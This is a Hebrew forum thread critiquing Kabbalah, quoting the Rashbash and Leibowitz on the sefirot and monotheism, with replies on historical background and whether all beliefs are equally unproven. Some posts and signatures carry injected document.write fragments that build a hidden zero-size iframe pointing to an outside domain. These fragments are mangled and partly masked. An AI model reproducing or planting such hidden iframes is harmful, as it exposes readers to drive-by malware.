| נשלח ב-12/12/2016 18:27 |
 |
| |
קושיות על תורת הקבלה
אתחיל מתוך שו"ת הרשב"ש - סימן קפ"ח
כי ראיתי רבים מעמי הארץ מתייהרים ומתכבדים בחוכמה הקבלה והם רקים מחכמה ולא ידעו על מה, אני רוצה לבאר כי הם בחשיכה יתהלכו. תחילה שקבלה הינה אלה כשמה - מפה לאוזן, והדבר ידוע שאין מוסרין אותה אלה לחכם מבין מדעתו, ואילו היתה זו שכתובה בספרים היא הקבלה האמיתית, איך יטעו המקובלים לכתוב אותה בספרים להטעות בה בני אדם ? ואם תאמר שמאותם דברים יש כפליים לתושיה לא ימלט משני פנים, או שאותם הדברים לא יוודאו אלא מפי מקובל מפה לאוזן, אם כן חזר הדין להיות הדבר מפה לאוזן, ואם הדבר ראוי שיראו לחכמים להתבונן, חזר הדבר להיות סברה ולא קבלה ועוד שהם לא ידעו אלו 10 ספירות מה הם ? אם הם או תוארים או שמות או השפעות שופעות מאיתו יתברך ואין כפי השכל חלוקה רביעית ואם תאמר שהם שמות, אם כן אין הם עצמיות ואם הם עצמיות הם תוספת, אם כן אם הנוצרים טוענים השלישיות הם טוענים העשיריות ואם תאמר תארים, מה נשתנו תארים אלה משאר התארים ? והרי הקדוש ברוך הוא הודיע למשה 13 מידות ולמה מיעטו הם שלושה מהם ? ואם תאמר שאינם אלו הכתובים בתורה, לא ימלט שאלו הספירות הם בסגנון אחד עם המידות האלו או יותר חשובים מהם או פחותים מהם ואם הם בסגנון אחד, מה נשתנו אלו מאלו ? ואם הם יותר טובים, למה העלימם השם יתברך ממשה ? ואם נעלמו ממשה מי ידעם ? ואם משה לא ידעם, מיהו המקובל שידעם ? וממי קיבלם ? שהרי גם הם אומרים שגם משה לא הגיע לכלל כל הספירות, ואם משה לא הגיע לכללם איך יגיע זולתו אליהם ? ואם הם פחותים מהמידות הכתובות בתורה, למה נחליף אלה באלה ? ואם תאמר הם השפעות, אם כן הם כוחות, כלומר מלאכים, והמתפלל עליהם אם אומר שהם כוחות והשפעות, אם כן המתפלל והמכוון בהם שהם עצמיות הוא כופר, שכל המתפלל במלאך מן המלאכים, כופר הוא, והחושב שיש עצמיות בלתי עצם הבורא, שנה לעצמותו וכופר הוא ואם תאמר שהם תארים, יודיענו מה נשתנו אלו מזולתו ?
וקשה עוד מזה שהם דורשים ברבים בענייני הספירות ורומזים עליהם וחושבים לדבר בסתרי תורה, ודברים אלה קשים ומרים כלענה שאם הם סתרי תורה אין לגלותם ואם אינם סתרי תורה, אם כן הם סברה, וכמה רע ומר לומר על הסברה שהם סתרי תורה ...
-
דברים שנכתבו על ידי פרופ' ישעיהו ליבוביץ - מתוך: "משמעותה הדתית והמוסרית של גאולת ישראל", 'אמונה היסטוריה וערכים'.
הקבלה הפכה את החיוב המוטל על עם ישראל לגבי עצמו לייעוד שנועד לו לגבי המציאות הקוסמית ולגבי השי"ת עצמו – המצוות כ"צורך גבוה" וכתיקון העולם. בכך כאילו הועלה האדם עצמו לדרגה אלוהית – ההיפוך הגמור לרעיון של נעילה של יום הכיפורים. הקבלה הפכה את היהדות של עבודת ה' למיתולוגיה על אודות ה' ועל העולם ועל האנושות ועל עם ישראל. עם ישראל הריאלי, שעליו מוטלות תורה ומצוות מעשיות במציאות הטבעית, זוהה עם המושג של כנסת ישראל המיסטית ("נפש האומה" בלשונו של הרב קוק), שהיא זהה עם השכינה והיא הספירה העשירית, ספירת מלכות; וספירת מלכות קשורה בספירה השישית, תפארת, שהיא מיוצגת ע"י יעקב אבינו – הוא ישראל. מכאן אותו שילוש אלילי של קודשא-בריך-הוא ואורייתא וישראל. הניגוד שבין תורה ומצוות כעבודת ה' לשמה ובין ראייתן כאמצעים מאגיים לשם דבר אחר (לגאולת ישראל, לתיקון העולם או לצרכו של ה' עצמו) אינו מחלוקת בין הוגים בינמיים בלבד, הוא עדיין משמעותי בימינו, והמחלוקת הגדולה ביהדות תימן בין הדרדעים (חסידי הרמב"ם) לבין העקשים (חסידי הזוהר) בתחילת המאה ה-20 תוכיח. תיעוד מעניין ביותר של הפילוג הזה בהגות הדתית ביהדות הם מאמריהם וכרזותיהם של הרב יחיא קאפח וחבריו על "המתפללים לאליל אריך אנפין ולאליל זעיר אנפין" ועל "המאמינים בעישור" (על משקל השילוש הנוצרי)...
כשם ש"כל הגדול מחברו יצרו גדול ממנו", אף כל שמידת האמת באמונה גדולה יותר, סכנת סילופה גדולה יותר: "אין בין גן עדן לגיהנום אלא מחיצה בעובי של שתי אצבעות בלבד". דווקא להט האמונה בה' עשוי להכשיל את חלושי האופי או חלושי הדעת; את העגל ("אלה אלהיך ישראל...") עשה הדור שראה בגילוי שכינה, ויצר הרע של עבודה זרה היה מרקד בין ישראל כל זמן שהיתה שכינה שורה במקדש. וכפעלם של הנביאים ושל אנשי כנסת הגדולה אף פעלו של הרמב"ם: לא "זמורת זר" של חכמה יוונית הכניס ליהדות (כדעתם של תמימים או מיתממים רבים), אלא בתורת הייחוד הקיצונית שלו, שהיא שלילתם המוחלטת של התארים עד כדי התעלמות מתורת האמת או התכחשות לה – הקים תריס בפני הפיכת תורת האמת לתורת הגשמה והפיכת עבודת ה' לעבודת אמצעים.
 |
|
|
|
|
| נשלח ב-12/12/2016 20:59 |
|
| |
ישכ"ג על העלת הנושא והשאלות בצורה כה ברורה ומסודרת. שאלות שהתרוצצו במוחי זמן רב מאד  אני מצפה לתשובות של מאמיני הקבלה.
|
|
|
|
| נשלח ב-12/12/2016 21:38 |
|
| |
ירוחם
במשך השבוע האחרון לא היה לי חיבור לאינטרנט, כך שנבצר ממני להגיב באשכולות השונים. בעז"ה אשלים זאת, ותקבל תשובות גם כאן
|
|
|
|
| נשלח ב-12/12/2016 21:44 |
|
| |
"תקבל" צ"ל תקבלו
|
|
|
|
| נשלח ב-13/12/2016 08:25 |
|
| |
ב עקנין
איקון ירוק על דבריך.
אמנם אפשר היה לנתח יותר את דברי הרשב"ש ולספק עליו ועל הדברים מקצת מקורות. למשל, מתי הוא חי ובתקופת אלו מקובלים. שהרי אין קבלת הראשונים של תקופתו כקבלת הזוהר המאוחר והאר"י המאוחר עוד יותר. אבל אשאיר זאת למומחים ולמאמינים שיכתבו את תשובותיהם.
אמנם חוששני שכבר אין יותר מייצגים נאמנים לקבלה בפורומנו. לאט לאט הם נטשו. אפשר שהם נוכחו לדעת שהתשובות שלהם לקויות, לכל הפחות מבחינה היסטורית וגם מבחינה פילוסופית. ואפשר, וכך טענו, שכל מה שינסו לעשות רק יביא למבול של שאלות גדולות עוד יותר, ו"אין כאן מי שבאמת רוצה לדעת". כולל ובמיוחד אני בעצמי חשוד על זה.
היו לנו חברים מומחים בתחום, ממסתברא ועד שותף סוד. אבל איה הם האנשים האלו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/12/2016 10:35 |
|
| |
| מיימוני כתב: |  |
היו לנו חברים מומחים בתחום, ממסתברא ועד שותף סוד. אבל איה הם האנשים האלו.< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
| נשלח ב-13/12/2016 12:16 |
|
| |
ההבדל בין היהדות לקבלה הוא שליהדות יש מסורת ארוכה יותר. זה הכל.
|
|
|
|
| נשלח ב-13/12/2016 17:27 |
|
| |
| אפריםבן כתב: | | | ההבדל בין היהדות לקבלה הוא שליהדות יש מסורת ארוכה יותר. זה הכל. |
|
מה שמזכיר לי (מוקדש למקסמן ז"ל) "ספורנוגרפיה היא עניין של גיאוגרפיה".
|
|
|
|
| נשלח ב-13/12/2016 17:48 |
|
| |
ירוחםשמ,
הפרחים מגיעים לרשב"ש ולליבוביץ. אני רק השליח :)
מימוני,
קצת פרטים על הרשב"ש
שלמה בן שמעון דוראן (הרשב"ש; 1400 בערך - 1467), היה בנו של רשב"ץ, רב ופוסק באלג'יר. נולד באלג'יר, למד כנראה מפי אביו, רבי שמעון בן צמח דוראן. מלבד השכלתו התורנית היה בקיא במדעי הטבע, ברפואה ובפילוסופיה. לאחר פטירת אביו (1444) נתמנה לרבה של אלג'יר.
כיוון וספר הזוהר יצא לאור כבר בסביבות 1300 ע"י רבי משה די לאון (וע"פ מחקרים חדשים, יש הטוענים שעל ידי קבוצה של מקובלים באותה תקופה ולא ע"י רבי משה די לאון לבדו), הדעת נותנת, גם מתוך דברי הביקורת הנוקבים שלו, שכבר הכיר את ספר הזוהר
לא מכיר פרטים נוספים על הרשב"ש
מי שיכול לשפוך עוד אור, יבורך
|
|
|
|
|
| נשלח ב-13/12/2016 18:42 |
|
| |
אפרים, רק? והבדלי תוכן - ומהות - אין?
אחד המאפיינים של היהדות הוא המונותיאיזם. לא רק שיש רק אלוקים אחד, אלא שהוא אינו כפוף לשום דבר, בניגוד לאלילים (וכפי שביארו קויפמן וקאסוטו).
הקבלה אמנם טוענת שהיא מכירה באלוקים אחד, אבל מייחסת לו מערכת פנימית של ספירות, ריבוי לצד האחדות, כלומר סתירה פנימית, וגם, בשלב מאוחר שלה, טוענת שיש שם, בין הספירות, דינמיקה מורכבת שהאדם משפיע עליה.
ציינתי את ההבדל החשוב ביותר. איך התעלמת ממנו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/12/2016 18:46 |
|
| |
ב. עקנין
תודה!
עד שכתבתי את הודעתי פירסמת אתה את שלך. ולכן לא התייחסתי לעיל.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/12/2016 19:00 |
|
| |
| מיימוני כתב: | | אפרים, רק? והבדלי תוכן - ומהות - אין?
אחד המאפיינים של היהדות הוא המונותיאיזם. לא רק שיש רק אלוקים אחד, אלא שהוא אינו כפוף לשום דבר, בניגוד לאלילים (וכפי שביארו קויפמן וקאסוטו).
הקבלה אמנם טוענת שהיא מכירה באלוקים אחד, אבל מייחסת לו מערכת פנימית של ספירות, ריבוי לצד האחדות, כלומר סתירה פנימית, וגם, בשלב מאוחר שלה, טוענת שיש שם, בין הספירות, דינמיקה מורכבת שהאדם משפיע עליה.
ציינתי את ההבדל החשוב ביותר. איך התעלמת ממנו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
האם האר"י הקדוש או בעל התניא ואחרים לא ידעו את מה שכתבת לי?או מה שכתב הרשב"ש?
הם ידעו טוב מאד ואף על פי כן ראו צורך להאמין בקבלה .
לפי החסידות הבעש"ט קיבל את תורתו מאחיה השילוני. (וכמובן שצריך להזכיר את רשב"י שמייחסים לו את ספר הזוהר )
לפי האמונה היהודית משה קיבל תורה מסיני .
זה לא הוכח וזה לא הוכח ולכן כל האמונות שוות וכלל לא משנה מה התוכן שלהן. כך גם כל האמונות הדתיות האחרות שיש בעולם. אין לאחת עדיפות על השניה כי אף אחת מהן לא הוכחה והן כולן מבוססות על מסורת מאב לבן.
|
|
|
|
| נשלח ב-13/12/2016 19:49 |
|
| |
| אפריםבן כתב: | | אין לאחת עדיפות על השניה כי אף אחת מהן לא הוכחה והן כולן מבוססות על מסורת מאב לבן.
|
|
טכנית חוץ מהנצרות, כי האב והבן זה אותו אחד שם, אבל בגדול נכון.
|
|
|
|
| נשלח ב-13/12/2016 20:23 |
|
| |
מדוע חוץ מהנצרות? גם מסורת "האב הבן ורוח הקודש" של הנצרות עברה במסורת מאב לבן
|
|
|
|
| נשלח ב-13/12/2016 20:37 |
|
| |
אפריים
שמתי לב לחלןקת 3הדתות יהדות- קבלה -נצרות.
|
|
|
|
| נשלח ב-13/12/2016 21:03 |
|
| |
איפה כתבתי שקבלה זה דת?
כתבתי את המשותף ביניהן -שתיהן אמונות.
|
|
|
|
|
